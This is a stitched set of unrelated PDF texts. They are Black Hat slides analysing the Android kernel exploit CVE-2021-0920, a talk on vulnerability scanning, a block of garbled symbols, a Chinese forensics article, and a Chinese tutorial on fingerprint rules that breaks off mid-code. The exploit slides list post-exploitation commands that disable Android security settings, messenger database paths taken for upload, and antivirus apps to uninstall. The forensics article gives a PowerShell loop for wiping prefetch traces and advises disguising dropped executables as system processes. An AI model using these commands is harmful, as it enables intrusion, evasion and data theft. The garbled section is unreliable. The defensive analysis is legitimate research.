■ A for early devices ■ B for recent devices (e.g. devices released on 2020) CVE-2021-0920 ● Everything starts at a kernel feature: users can send file descriptors to other tasks by SCM_RIGHTS datagram #BHUSA   @BlackHatEvents ● Let’s say socket A sends itself to socket B (socket buffer == skb == sk_buff) Linux Kernel Garbage Collection #BHUSA   @BlackHatEvents ● When B receives the file descriptor Linux Kernel Garbage Collection #BHUSA   @BlackHatEvents ● Let’s consider the following scenario “unbreakable cycle”: ○ close(A), close(B) Linux Kernel Garbage Collection ● We need a garbage collector ○ close syscall may trigger the GC ● inflight count #BHUSA   @BlackHatEvents ● Let’s see the following “breakable” cycle: ○ close(A), close(B) Linux Kernel Garbage Collection #BHUSA   @BlackHatEvents ● From a garbage collector point of view ● Step 1: A and B are marked as “potential garbage” ■ gc_candidates: {A, B} Linux Kernel Garbage Collection #BHUSA   @BlackHatEvents Linux Kernel Garbage Collection ● Step2: Scanning inflight for gc_candidates: {A, B} ○ Check A’s receiver queue -> B is in the flight A’s receiver queue B is in gc_candidates #BHUSA   @BlackHatEvents Linux Kernel Garbage Collection ● Step2: Scanning inflight for gc_candidates: {A, B} ○ Since B is also a GC candidate, decrement B’s inflight count #BHUSA   @BlackHatEvents Linux Kernel Garbage Collection ● Step2: Scanning inflight for gc_candidates: {A, B} ○ Similarly, A’s inflight count is decremented to 0 too #BHUSA   @BlackHatEvents ● Step 3: inflight(B) >0, B is not a garbage. ○ Recursively restore inflight process Linux Kernel Garbage Collection ● No one is considered as garbage #BHUSA   @BlackHatEvents ● Let’s revisit the “unbreakable” cycle from garbage collector’s point of view: ○ gc_candidates: {A, B} ○ Scan inflight process ■ inflight(A) = 0, inflight(B) = 0 => All of them are garbage! ○ Purge garbage Linux Kernel Garbage Collection #BHUSA   @BlackHatEvents ● recvmsg without MSG_PEEK flag ○ Synchronize with GC (wait until GC finishes) RECVMSG without MSG_PEEK #BHUSA   @BlackHatEvents RECVMSG with MSG_PEEK ● recvmsg with MSG_PEEK flag ○ File reference count is elevated ○ Not synchronized with GC #BHUSA   @BlackHatEvents Vulnerability Scenario ● Real world vulnerability scenario is quite … complex ○ We will illustrate the core idea here #BHUSA   @BlackHatEvents Vulnerability Scenario ● recvmsg with MSG_PEEK flag doesn’t synchronize with gc ○ Complex inconsistent GC state ○ Very subtle race condition -> Thread 1 receives a UAF skb #BHUSA   @BlackHatEvents ● Patch ○ MSG_PEEK task now waits for the completion of the GC ● The kernel bug was found in 2016, but the patch was not accepted Patch #BHUSA   @BlackHatEvents ● Thread interleaving: A lot of threads! ● Prolong the GC process: generate as much garbage as possible Exploit A #BHUSA   @BlackHatEvents ● Spray UAF sk_buff(aka skb) is not easy ○ sk_buff object is allocated from a unique cache skbuff_head_cache ○ “Cross cache” impact: Freeing the object's page to the page allocator Exploit A #BHUSA   @BlackHatEvents ● Spray skb and control the value of the skb->data ○ recvmsg -> skb_copy_datagram_iter to copy skb->data into userspace Exploit A - Semi Arbitrary Read ● Semi arbitrary kernel read primitive ○ arb_read(0xFFFFFF8009364200LL, leak_page_data, …) ○ page_md5 = md5(leak_page_data) ● Learn kernel base by comparing md5 value with a md5 hash table contains 512 values #BHUSA   @BlackHatEvents ● Why read fixed kernel address 0xFFFFFF8009364200LL? ○ OEM X invented its own ARM64 kernel base randomization before the mainstream kernel ○ Based on the exploit, it only randomizes 9 bits at 4K alignment ■ An attacker is still able to access a valid kernel address locally Exploit A - Semi Arbitrary Read ● Semi Arbitrary Read ○ Iterate init_task and find the exact task_struct in terms of its child processes ■ Obtain the address of thread_info->addr_limit #BHUSA   @BlackHatEvents ● “Kernel stack overflow primitive” - Weird primitive, but it’s the foundation of the semi arbitrary write primitive Exploit A - Kernel Stack Overflow Primitive ● If userspace initializes unix_address->name ○ Kernel: memcpy(msg->msg_name, addr->name, addr->len) ■ addr is from skb->sk->addr ● Manipulate skb->sk to a controlled space (we will talk it later) ● Stack overflow on msg->msg_name ○ Tamper msghdr msg_sys from __sys_recvmsg #BHUSA   @BlackHatEvents #BHUSA   @BlackHatEvents ● To control skb->sk to a crafted memory space ○ mmap(..., MAP_ANONYMOUS|MAP_SHARED,...) Exploit A - Bypass Privilege Access Never ● Read memory will trigger the page fault in the first time ● Read kernel stack by semi arbitrary read primitive ○ find struct page *pte ○ page_to_virt #BHUSA   @BlackHatEvents ● Trigger stack overflow by mmap memory Exploit A - Bypass Privilege Access Never Dump kernel stack by semi-arb read #BHUSA   @BlackHatEvents #BHUSA   @BlackHatEvents ● Crafted msghdr msg_sys with fake pipe structures ● recvmsg syscall may use the fake pipe structures to perform arbitrary write (skb_copy_datagram_msg) Exploit A - Semi Write Primitive ● skb->data (-2) overwrites addr_limit => Arbitrary read / write primitive #BHUSA   @BlackHatEvents Exploit B - Leak Slab Pages ● Heap spray: occupy UAF skb->data to scm_fp_list ○ Transmit 2 pipe file descriptors + Spam ~80 file descriptors for opening /dev/null ○ Several file structures may occupy an entire slab page Kernel file pointer leak #BHUSA   @BlackHatEvents ● Close file descriptors + Heap spray by sending socket datagram ○ We control the slab page ● When a victim task receives UAF skb: it may invoke skb_unlink(skb, &sk->sk_receive_queue): Exploit B - Bypass KASLR by "Pipe Primitive" ● Craft two fake pipe_buffer and pipe_inode_info structures #BHUSA   @BlackHatEvents #BHUSA   @BlackHatEvents ● Reading the socket used to occupy the slab page ○ leak slab page Exploit B - Bypass KASLR by "Pipe Primitive" ● Initialize pipe_buffer->ops ○ Write one byte to the pipe, the kernel will initialize the ops for us ● “Pipe” migration for bypassing PAN by pipe_inode_info->tmp_page #BHUSA   @BlackHatEvents Exploit B - Arbitrary R/W by “Pipe primitive” ● Manipulate pipe_buffer->page and pipe_buffer->offset ○ R/W anything including the controlled slab page itself ● For more information, please stay tuned on the P0 guest blog :) ● Arb R/W => Code execution / Recover /proc/kallsyms … ○ +1 method to bypass CONFIG_ARM64_UAO ■ “Pipe primitive” (in the wild at least since 2020) #BHUSA   @BlackHatEvents Post Exploitation ● Set SELinux permissive ● Overwrite creds to UID 0 #BHUSA   @BlackHatEvents Post Exploitation ● Set SELinux permissive ● Overwrite creds to UID 0 ● Hypervisor protection ○ selinux_enforcing is read-only ○ Cred structure is monitored ○ No calling: ■ rkp_override_creds ■ poweroff_cmd #BHUSA   @BlackHatEvents Post Exploitation #BHUSA   @BlackHatEvents Post Exploitation #BHUSA   @BlackHatEvents Post Exploitation #BHUSA   @BlackHatEvents Post Exploitation ● Upload messages, accounts ● Disable system security ● Uninstall 3rd party AV /data/data/com.whatsapp/databases/msgstore.db /data/data/com.whatsapp/databases/msgstore.db-wal /data/data/jp.naver.line.android/databases/naver_line /data/data/org.telegram.messenger/files/cache4.db /data/data/org.telegram.messenger/files/cache4.db-wal /data/data/org.telegram.messenger/files/tgnet.dat /data/misc/wifi/WifiConfigSotreData.xml /data/system/users/0/accounts.db /data/system_ce/0/accounts_ce.db /data/system_de/0/accounts_de.db #BHUSA   @BlackHatEvents Post Exploitation ● Upload messages, accounts ● Disable system security ● Uninstall 3rd party AV pm disable com.policydm (Security policy updates) settings put secure package_verifier_user_consent -1 settings put global package_verifier_user_consent -1 settings put secure install_non_market_apps 1 settings put system send_security_reports 0 settings put global package_verifier_enable 0 settings put global upload_apk_enable 0 settings put global send_action_app_error 0 setprop persist.app.permission.monitor 0 #BHUSA   @BlackHatEvents Post Exploitation ● Upload messages, accounts ● Disable system security ● Uninstall 3rd party AV com.avast.android.mobilesecurity com.antiy.avl com.antiy.avlpro com.sophos.smsec com.antivirus #BHUSA   @BlackHatEvents CVE-2019-2215 and Google Play #BHUSA   @BlackHatEvents CVE-2019-2215 and Google Play #BHUSA   @BlackHatEvents Payload Similarities ● Self-loading ELFs RAM:0000000000000000 01 00 00 10 ADR X1, loc_0 RAM:0000000000000004 62 00 00 58 LDR X2, =loc_7ED8 RAM:0000000000000008 42 00 01 8B ADD X2, X2, X1 RAM:000000000000000C 40 00 1F D6 BR X2 ------------------------------------------------------------------- RAM:0000000000000010 D8 7E 00 00+off_10 DCQ loc_7ED8 ● Injecting into privileged processes #BHUSA   @BlackHatEvents Payload Similarities ● Using Google Cloud as C2 ● Disable security settings ● Files to copy ● Apps to uninstall ● Spelling mistakes ○ /data/misc/wifi/WifiConfigSotreData.xml #BHUSA   @BlackHatEvents Defending Android #BHUSA   @BlackHatEvents Defending Android #BHUSA   @BlackHatEvents Defending Android #BHUSA   @BlackHatEvents Defending Android #BHUSA   @BlackHatEvents Final Thoughts ● CVE-2021-0920 ○ Complexity ○ Time ○ Resources ● Time ○ To detect ○ To patch ○ To update #BHUSA   @BlackHatEvents The End Thanks for watching! Questions? Xingyu - @1ce0ear Richard - @ExploitDr0id Christian - @0xbadcafe1
pdf
Beyond the Scan: The Value Proposition of Vulnerability Assessment Damon J. Small, MSc.IA, CISSP Managing Consultant, IOActive August 6, 2015 About @damonsmall • Managing Consultant at IOActive • Louisiana native
 “Not from Texas but I got here as fast as I could!” • In IT since 1995; infosec since 2001 • Spent much of my career supporting healthcare organizations in the Texas Medical Center • Studied music at LSU; grad school in 2005 for Information Assurance • Currently supporting a large oil & gas client in Houston Contact Email damon.small@ioactive.com chef@securitykitchen.website damon@damonsmall.me Blogs blog.securitykitchen.website ramble.damonsmall.me @damonsmall More than just clicking “scan…” Red Team Blue Team #BlueCollarSecurity Scan Data Human Analysis Actionable Information Overview 1. Identifies potential vulnerabilities 2. Provides remediation information 3. Asset Management* 4. Software Management* 5. Compliance 6. Strategic – on-going operational intelligence 7. Tactical – Incident Response *Not generally a named feature, but a result of the activity. But first, a history lesson • Security Administrator Tool for Analyzing Networks (SATAN) • Released in 1995 and polarized the security industry PC Mag, April 23, 1996 “The [DOJ] became concerned… and threatened to press charges against…Dan Farmer….” “…Internet Scanner can check for more than 100 known vulnerabilities.” Where are they now? • http://en.wikipedia.org/wiki/Dan_Farmer • http://en.wikipedia.org/wiki/Wietse_Venema • Richard Carson & Donna Ruginski forked Security Administrator’s Integrated Network Tool (SAINT) from SATAN in 1995 • SAINT Became a commercial product in 1998 From those humble beginnings… • An entire new capability was created for infosec • Progression from - Simple scanning - Vulnerability Assessment - Vulnerability Management Scanners have been around for two decades…. …but are still misunderstood. Electrons/Photons going though wire/fiber What is being examined What tool can be used 1. Physical 2. Datalink 3. Network 4. Transport 5. Session 6. Presentation 7. Application Media Layers Host Layers TCP/UDP/IP, ports nmap Thick-client apps IDA Pro, Sys Internals User-facing web app Web Inspect, Burp The entire stack Manual, human-based testing Network, software, & OS info Nexpose, Qualys, Nessus, SAINT TCP/IP, ports, protocols, MAC Wireshark, tcpdump, windump OSI Model 1. Physical 2. Datalink 3. Network 4. Transport 5. Session 6. Presentation 7. Application Media Layers Host Layers OSI Model Tools Network, software, & OS information Nexpose, Qualys, Nessus, SAINT People The entire stack Manual, human-based testing Automated Scanners Good for: • Longitudinal scans • Comparing results over time • Statistical reporting • Large number of hosts • Integration of data to other systems Limits: • False positives • Cannot correlate results to the environment • Software information is basic • “Dumb” • Unaware of business logic flaws Manual, Human-based Testing Good for*: • Detecting business logic flaws • Architecture design review • Code review • Validation of vulnerabilities • Advanced configuration issues • Memory analysis • Vulnerability chaining • Cannot be done with software alone Limits: • Resource-intensive *Although this seems straight-forward, it fills a methodology document that is hundreds of pages long. The tools are critical but their usefulness is limited without skilled security professionals For example: HTTP vulnerability false positives? Define Your Lexicon • Application - the 7th layer of the OSI Model. • Application - software that a human uses. • Interface - connects a host to a network (NIC). • Interface - software that allows programs to share info. • Interface - software that allows humans to interact with computers/apps. • Session - the 5th layer of the OSI Model. • Session - interaction between a browser and server. • Server - hardware that runs a network OS. • Server - software that responds to client requests. Know your Environment What is the architecture of your network, both logically and physically? Know your Organization Critical Success Factor How will the data be consumed and acted upon? Case Studies 1. Identifies Potential Vulnerabilities “What are attractive targets?” “What patches are missing?” “Is our environment configured properly?” • Perimeter scan revealed CIFS • Ports 135, 139, 445 • Hosts were largely Windows XP (late 2013) • Assessment team asked “why?” • Answer: “Necessary for support.” • LPT: It is never a good idea to expose NetBIOS ports on a Windows machine to the Internet • Legacy business app required IP-based authentication • Static NAT assignments were made - each host had a routable IP Address • Inbound rule was any any accept • Multiple misunderstandings resulted in poor decisions • Poor decisions were left unchecked for many years • Scan resulted not only in identifying vulnerabilities, but also - Poor documentation - Broken Processes - Failures of the “Oral Tradition” - Lack of understanding of specific requirements • Obsolete version of Java resulted in hundreds of findings • “Why?” • Misunderstanding of “required version” • Scan resulted not only in identifying vulnerabilities, but also - Poor documentation - Broken Processes - Failures of the “Oral Tradition” - Lack of understanding of specific requirements 2. Provides Remediation Information 3. Asset Management • Scanning known hosts vs CIDR blocks • Client discovered active “dark” network segments • Client compares scan information with CMDB • Anything with an IP Address - cameras / Nintendo • Drilling company - platforms had “exactly 4 hosts per rig” 4. Software Management 6. Compliance 7. Strategic Planning 8. Tactical Biomedical/ICS Special Considerations: Biomedical Devices • FDA 510(k) limits changes to devices once marketed • http://tinyurl.com/FDA510kblog - Redirects to a post on http://blog.securitykitchen.website • Security vs Supportability - not unique to healthcare but leads to poor design decisions - Radiology Reading Stations with FTP - Clinical protocols like HL7 are cleartext so compensating controls are necessary - How do you manage your HL7 interface engines? Special Considerations: Industrial Control Systems • Operational Technology (OT) is not the same as Information Technology (IT) • Shutting down ICS is costly - patch cycles are lengthy • Not unusual to operate with malware present • Purpose-built devices may not handle unexpected traffic with grace • Be extremely cautious with active scanning; consider passive scanning In Conclusion…
pdf
!"# $ % !&' # ( & ) * + !' # , - % . , % . / ( - 0 / 0 1 0 ( Æ + 2 % $ $ !" # 3 + - + % 4 ( ( 5 5 ,', !&6 # + !7 # 8 9 &'67 5 ' : ; : Æ + < " 2 < 2 = % > + ? !&7 # " 5 - 1 !&# / 2 9 + 7 @ / + !&7 " # - !& &7 A " # 2 % $ 2 ' > % 4 % + 5 Æ % 8 2 8 & < " &< !&7 # - $ % 2 5 1 9 4 ( + 4 2 4 5 B / = + 1 4 3 ( 3 2 $ ; C: D % !&" #; < : E: 7@@A@F &" G - )- ; G=- 2 E + F !& #* % AA& : 9 &&< G=- H - 8EH- 8F $ !& # H + . H- 8 4 %; % % I % : G=- - + , G=- 4 ; = G 4 G=-0 G " G=- 0 H E F G=- + - ( - :; 2 > 8 5 G=- : G=- ? 4 + 1 3 % 8 B8 , / E + ( F ( E F 3%8 - 3 & % ? 4 Æ ?; 3%8 1 7 3 & 1 = % > !&7 # @ / E&F EF - - 9 )% % + ! #* % 8 + >+ ( 2 % 4 : 4+ ( / Æ + !@ # ( 5 + )* !&< # %+ ; 4 !&@ < # 8 ( $ + 1 4 + : ( 6 !7 # $ % Æ ( 2 % 5 2 5 B Æ 5 = % > 3 2 4 + I % Æ 5 + ( , $ G > 8 - EG>8-F 4 + 1 $ Æ I : 5 % = % > $ - ! - 5 + % 8 !&# 5 + 4 % 5+ + % - 2 3 3 ( 3 2 4 ( Æ 3 + 5 : + 4 & $ 4 + - % & + Æ 1 - % 4 &A (1)Create Query Seed Q $ (2) Buy infoatoms Q Aggregate (3)Atoms bind into crystal and release aggregate 3 J !& # && 4 & E F 4 % 5 I 5 ( + Æ / !<# ! # % + , % = % > 5 2 !A # Æ 8 % % + % + % 4 ( 0 = ) + + K + K 5 2 K + 5+ 4 + K K ( !&& #* ( )- > & * 5 !& # 1 !&& # > 2 !&& & &A # % E F , 2 - ( Æ ( !# + !'# ? + + - Æ / 0 / 0 ( 9 0 / &6A !6# % % 5 5 + B 5 ; + ; 5 5 + 5 + 5 : 2 &' 9 5 + $ " #Æ $%% + : 4 -+ / + + : % Æ / 1 + 2 5 " + % 5 ( 3 4 % 1 2 % + 3 2 2+ G=- &< / 0 / 0 ( 2 & % / 4 + $ - 9 ( > ( 3 ( - 5 - ; % G=- 9 > ' ( G , 1 D H 1 H$ H + G 1 G 1 ) !&# B - 9 1 3 > 7E6F - 7 AA& L MM4 MM7 6MM &" !# - -( G , 3 8 N AA' !'# 8 - , O - B 6E'F "7"+"6< & !<# 8 8 % ! "# $ % & ! E%8-?,F ?=8 &6"' "&+"' AAA !"# 8 G ! MMM MM M AA !7# 8 NK ' !(! ) & / , B ?=8 AA AA' !@# 8 8 8 * ! + , - ! %BBB B 66 @'"+@<7 - AA !6# . ! MM MM1 !# 99 /$0 ! 1! 23 ? = 8 &' &+& 9 8- - &+' AA& +D !&A# %H ! $ $$ ' / , B ?=8 AA AA !&&# N 3 4 ) ! / B %+ 8 9 > &7+&@ AA MMMMI&<M M' !&# )H , : H , * MMMMM !&'# 1H ' ! ! 9 / : MM MAAAMAA &M'7@'AA7 > AA &7 !&<# - > K 4 ! 5 - 8> G> AA !&"# N 8, , - - D 6 AA& !&7# ? ! 8- 8> 'EF +&A< &7 !&@# > 67 4 ' 8 M =M MM=H89 !&6# G > - 8 - 5 > H !(! !, 9 ! MMM M M' !&# - :5 ! ! ) $ / B % + 8 9 > &7+&@ AA MMMMI&<M M" 2 !A# G , ! , ) : $ % , 9 EF +D AA' !&# N 9 )- H , : H - 8* = &" AA& !# 9 ) ? G = / * N / = K AAA !'# ! & - 8 @ ,+ MMM/ MB''@M M@+& !<# 8 H !"# 1 D ! ! % ! $ =%- &@ MM M M, M M !7# D H G > * * 2 4 4 ! !, ! & / B % AA' MM M'M &@
pdf
DFIR(Digital Forensics and Incident Response) 数字取证和应急响应 一.介绍 二.正文 1. mess #DFIR 地址: https://twitter.com/0gtweet/status/1305887051976511489 通常我们运行一个程序,会在prefetch目录缓存,用来加速程序的运行 *.pf文件,也叫预读取功能。加快 系统启动,文件读取速度。 默认路径: c:\windows\prefetch 仔细观察,会发现有两个CHRROME.exe程序,因此在渗透中exe不得不落地到目标磁盘上时,也要重 命名,可以改为dllhost,mmc,rundll32,svchost等等。 # 说明: 纯粹是在学习代码后,当娱乐看的。如有错误,还请包涵。 # By bopin 最近在推上持续关注着一位搞安全研究的大佬,主要领域是: 内存转储(rdrleakdiag白利用就是他的杰 作),LOLBins。本次带来的内容是关于DFIR的,看官请听我仔细到来。 推特:https://twitter.com/0gtweet Github:https://github.com/gtworek/ 2. EntClientDb.edb 应用的数据库文件 一般包含视频,音乐等,作者也写了一个ps脚本用来解析EntClientDb.edb文件 https://github.com/gtworek/PSBits/blob/master/DFIR/Analyze_EntClientDb.ps1 仔细阅读这些注意事项:(说说我踩过的坑把) # The script performs an analysis of the EntClientDb.edb, specifically, the "TblFile" table containing paths. # For your own safety, please work on the copy of the EntClientDb.edb file and not on the original one: %LOCALAPPDATA%\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\an onymous\EntClientDb.edb even if the script opens it readonly. # Analysis of the database may be made without any special permissions, but gathering the file itself is a bit more challenging. I can suggest one of the following ways: #   1. kill the Video.UI.exe process #   2. offline copy (such as copy from disk image, by booting from usb etc.) #   3. copy from the vss snapshot # SET IT TO YOUR COPY OF EntClientDb.edb 没有停止相关程序。 帮助链接: https://twitter.com/0gtweet/status/1306509670585176064 停止相关进程后然后复制 edb到别的路径下,作者是这样说的:It should work on the copy, and not on the original file. 当然也可以使用handle 获取指定进程的信息 .edb handle.exe 微软官方下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/handle GUI版: Process Explorer: https://docs.microsoft.com/en-us/sysinternals/downloads/process-explo rer 3. DFIR Prefetch研究 https://twitter.com/0gtweet/status/1306914319012163584 3.1 Cleanup Prefetch 文件默认太大就会被清理,如果CPU处于空闲时,且大小超过了 256 / 10MB的一半,清理程 序会周期性开始工作。 3.2 MaxPrefetchFiles 最大数值 管理员可以更改MaxPrefetchFiles和MaxPrefetchFilesSize的大小,注册表位置: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Prefetcher <插播> 关于esent.dll https://www.processlibrary.com/en/directory/files/esent/20100/ The esent.dll is an executable file on your computer's hard drive. This file contains machine code. If you start the software VBA on your PC, the commands contained in esent.dll will be executed on your PC. For this purpose, the file is loaded into the main memory (RAM) and runs there as a Visual Basic for Applications Runtime - Expression Service process (also called a task). 人话就是 你在电脑上启动可视化应用软件,esent.dll就会被执行。 我的是Win10 企业版,默认没有 MaxPrefetchFiles MaxPrefetchFilesSize 在服务器上没有启动 prefetch 参考链接: https://truesecdev.wordpress.com/2015/11/25/how-to-enable-prefetch-in-windows-ser ver/ 启动prefetch: [Q] sysmain服务是什么? http://www.winwin7.com/JC/15743.html Sysmain服务 <-- superfetch服务(超级预读取) <-- Prefetch服务(Win XP) reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f Enable-MMAgent –OperationAPI net start sysmain 3.3 Cleanup 2 根据 (exe程序启动数量 X 256) / (上次启动的小时数) 决定那些pf文件会被清除。这意味着任何用户都可 以清除踪迹,通过简单的PowerShell脚本多次启动无用的apps。 3.4 PowerShell 3.5 Nothing.exe (什么都不做的程序) 3.6 Process Monitor 可以检查,清除操作发生了,, 在你设置过滤 *.pf 后,寻找 FILE_DISPOSITION_DELETE flag和 IRP_MJ_SET_INFORMATION。 【误区反思】 for ($i = 1; $i -lt 1000; $i++) {    $newname = [http://System.IO.Path]::GetRandomFileName()+".exe"    Copy-Item .\nothing.exe $newname    for ($j =1; $j -lt 100; $j++)    {        cmd.exe /c $newname    }    Remove-Item $newname } class Program { static void Main(string[] args) { } } // nothing.cs /*   c:\Windows\http://Microsoft.NET\Framework64\v4.0.30319\csc.exe nothing.cs */ 4. [Tips] 前些天 msf6出来了 默认采用SMB v3 流量全程加密,对抗内网设备很有效,不过我发现了一个缺陷 SMB v3 流量加密,但是还是会在目标系统留下蛛丝马迹,值得我们注意。 windows日志会记录当前用户登陆 temp目录会留下记录 本来是想读过msf源码再分析给大家的,奈何至今都不会ruby代码以及msf框架的东西,有点郁闷。 来张图刺激下: 在写的时候,也遇到了很多问题。作者说了 注册表如果没有MaxPrefetchFiles等就使用默认值,同时使用 nothing.exe 仅仅会创建Pf文件,并不是说会删除原来的pf文件。(我以为设置注册表项,然后运行脚本 使用nothing.exe 多次就会覆盖原来的pf,误区呀) 期待后续的研究。
pdf
针对⼤家在作业⾥⾯常⻅的⼀些问题作了⼀些汇总。 1. goby的指纹感觉不那么好 会有很多误报 ,对goby指纹⼀些字段的理解不太清晰,如何处理goby的指纹? 2. 如何实现程序让速度和效率最⼤化 这⾥给出我的⼀些思考的想法和过程。 goby指纹的处理 第⼀期作业中提取出了goby指纹并将它转换为了json格式。第⼀期我的提取⽅法:https://t.zsxq.com/eiQVRZv 多看⼏个规则差不多就能把规则了解清楚了。 { "rule_id": "1", // id没啥⽤ "level": "5", // 暂时不知道有什么⽤ "softhard": "2", // 是否是硬件 1 硬件 2 软件 "product": "PHPSHE", // 产品名称 "company": "haovip", // 产品公司 "category": "Other Software System", // 类别 可以看到每个规则都有个match字段,代表如何匹配的,我们可以写个python程序看看有多少种匹配的⽅式以及 分别有多少。 输出 "parent_category": "Software System", // 上⼀类 "rules": [ [ { "match": "body_contains", "content": "powered by phpshe" } ], [ { "match": "body_contains", "content": "content=\"phpshe" } ] ] // rules是⼀个list,每个list是 or 关系 // list下⾯也是list,这个list是 and 关系 } import json filename = "fofa.json" with open(filename, 'r', encoding="utf-8") as f: data = json.load(f) print("count", len(data)) i = 0 dd = {} for item in data: for rules in item["rules"]: for rule in rules: match = rule["match"] if match not in dd: dd[match] = 0 dd[match] += 1 import json print(json.dumps(dd,indent=4)) count 6098 // 指纹总数 { "body_contains": 5685, "protocol_contains": 209, "title_contains": 1880, "banner_contains": 3532, 再看看每个类别的数⽬是多少,python代码如下 输出 "header_contains": 1597, "server_contains": 454, "server": 5, "title": 171, "cert_contains": 203, "port_contains": 6, "protocol": 1 } import json filename = "fofa.json" with open(filename, 'r', encoding="utf-8") as f: data = json.load(f) i = 0 dd = {} for item in data: parent_category = item["parent_category"] category = item["category"] if parent_category not in dd: dd[parent_category] = {} if category not in dd[parent_category]: dd[parent_category][category] = 0 dd[parent_category][category] += 1 import json print(json.dumps(dd, indent=4)) { "Software System": { "Other Software System": 339, "Database System": 32, "Operating System": 60 }, "Enterprise Application": { "OA": 61, "Other Enterprise Application": 653, "Electronic Mail System": 106, "CRM": 38, "ERP": 26, "Project Management System": 31, "FMS": 21, "HRM": 13, "SCM": 3 }, "Network Security": { "NAC": 17, "Other Network Security": 131, "VPN Products": 95, "WEB Application Firewall": 46, "Website Security Monitoring System": 10, "Firewall": 153, "Data Certificate": 13, "Host Monitoring and Auditing": 22, "Load Balance": 21, "Log Analysis and audit": 26, "Traffic Analysis": 34, "File Management and Encryption": 17, "Tamper Resistance": 2, "Anti-Virus Product": 10, "Anti-Spam System": 5, "Operation and Maintenance Audit Fortres Machine": 13, "Online Behavior Management System": 21, "Antivirus Gateway": 82, "Threat Analysis and Management": 19, "Network Intrusion Detection and Defense": 23, "Baseline Management System": 1, "Database Auditing and Protection": 10, "Anti-DDOS Attack System": 4, "Audit": 11, "Vulnerability Scanning": 14, "Data Leakage Prevention": 5, "DNS Device": 9, "Identity Authentication and Authority Management": 19, "Web Content Security Monitoring": 1, "Network Isolation and One-way Import": 4, "Bandwidth Management System": 1, "Network Traffic Aggregation and Distribution Device": 1, "APT Attack Detection": 1, "WEB Security Analysis System": 1, "Data Desensitization System": 2 }, "Support System": { "Development Framework": 96, "Component": 187, "Other Support System": 104, "Service": 403, "Middleware": 9, "Virtualization": 31, "Scripting Language": 13, "Big Data Pocessing": 29, "Cloud Computing": 28, "Machine Learning": 4 可以看到,类别挺多的,虽然这些类别对识别指纹⽤处很⼩,但是指纹分类时的⽤处很⼤。 我们能不能设计⼀个归⼀化的格式,把goby指纹囊括进来,同时还能⽅便我们⾃⼰添加指纹呢? 指纹的进化过程 识别指纹定义⼀个字段去描述,我最开始的gwhatweb就是这样做的。ref:https://github.com/boy-hack/gwhatw eb/blob/master/data.json }, "IoT Device": { "Cameras and Surveillance": 360, "Other IoT Device": 231, "Voice Video": 127, "Burglar alarm": 21, "Entrance Guard System": 14, "Industrial Control": 58, "Smart Home": 50 }, "Network Device": { "Other Network Equipment": 253, "Router": 881, "Server": 219, "ADSL": 124, "Switch": 268, "Wireless Network": 113, "Network Storage": 86 }, "Office Equipment": { "Multifunctional": 24, "Printer": 112, "Fax Machine": 2, "Other Office Equipment": 9 }, "": { "": 15 } } 这样做⽐较⽼套,既⽆法有效的管理指纹,也⽆法优化识别效率。我后⾯的 goWhatweb 和 w11scan ,都注重在效 率上进⾏提升,尝试⽤go以及分布式的⽅式,以及根据识别结果优先使⽤指纹的⽅式、缓存同⼀url的uri等等。 指纹脚本化 之后看了fofa的指纹后,看到可以⽤另⼀种⽅式来表达指纹。ref:https://x.hacking8.com/post-383.html 使⽤简单的表达式来表达指纹,这样我们根据每个指纹编写不同的表达式,这样分类⽅便,使⽤也⽅便。我们再写 个脚本将指纹转换为表达式看看。 body="copyright by hacking8" || title= "hacking8" import json filename = "fofa.json" with open(filename, 'r', encoding="utf-8") as f: data = json.load(f) i = 0 dd = {} for item in data: product = item["product"] item_or = [] for rules in item["rules"]: ⼤概就这种感觉。。 但是还可以再优化⼀下识别的⽅式。 指纹匹配的类型有这么⼏类 它是将每⼀种匹配作为⼀个函数进⾏调⽤。这其实还可以在优化⼀下。 body 、 header 、 banner 都可以看作是⼀个字符串或⼀个字符集,⽽ contains 可以看作⼀个调⽤⽅法。goby 的指纹是函数式的,要为所有的字符和字符集进⾏组合添加⽅法,这样不够精简。 我们可以将 body 当作⼀个⽂本, contains 当作⽅法,直接使 ⽤ body.contains("xxx") 、 header.contains("xxx") 调⽤即可。 指纹识别引擎 因为goby指纹只需要访问⼀次⾸⻚,这和httpx天然相似,我想直接在httpx加上这个功能。 item_and = [] for rule in rules: match = rule["match"] content = rule["content"] dsl = f"{match}(\"{content}\")" item_and.append(dsl) item_or.append("({})".format(" and ".join(item_and))) dsl = " or ".join(item_or) print("cms:{} 识别规则:{}".format(product, dsl)) [ "body_contains", "protocol_contains", "title_contains", "banner_contains", "header_contains", "server_contains", "server", "title", "cert_contains", "port_contains", "protocol" ] httpx是⼀个多功能的http请求⼯具包,通常可以⽤它来批量探测资产的⼀些基本信息。 Github:https://github.com/projectdiscovery/httpx httpx是go写的,我写过⼀些分析:https://x.hacking8.com/post-410.html 之前给httpx提交过⼀份基于wappalyzer指纹识别的功能,直接改的httpx,写的可能有点耦合,它们把我的pr关 闭了然后就⾃⼰维护了⼀个wappalyzer的库。。ref:https://github.com/projectdiscovery/httpx/pull/205 这个库的功能也很简单,⽤github action设置了机器⼈⾃动更新最新的wappalyzer数据。主要功能就是输⼊html 源码,输出识别的数组。 CEL-GO 接着的⼀个问题是我们如何识别动态语法。可以⾃⼰写⼀个,类似我之前识别fofa指纹⽤的后缀表达式,但是就得 ⾃⼰处理⼀些逻辑关系,也可以⽤⼀些开源的库,这些库能够帮助我们把表达式的解析弄好,并且提供了很多强⼤ 的⾃定义功能。 像xray使⽤的是https://github.com/google/cel-go nuclei使⽤的是https://github.com/Knetic/govaluate 这⾥⽐较有坑的是nuclei使⽤的govaluate,好⼏年不更新了,之前使⽤还遇到了⼀些奇葩的转义问题,根本不能愉 快的写poc,调试了好久最后⾃⼰fork修改了⼀份。可参考我的nuclei源码阅读:https://x.hacking8.com/post-412. html 这次我决定换成cel-go来踩踩坑。看了官⽅实例,写了⼀个调⽤print的简单函数 package main import ( "fmt" "github.com/google/cel-go/cel" "github.com/google/cel-go/checker/decls" "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" expr 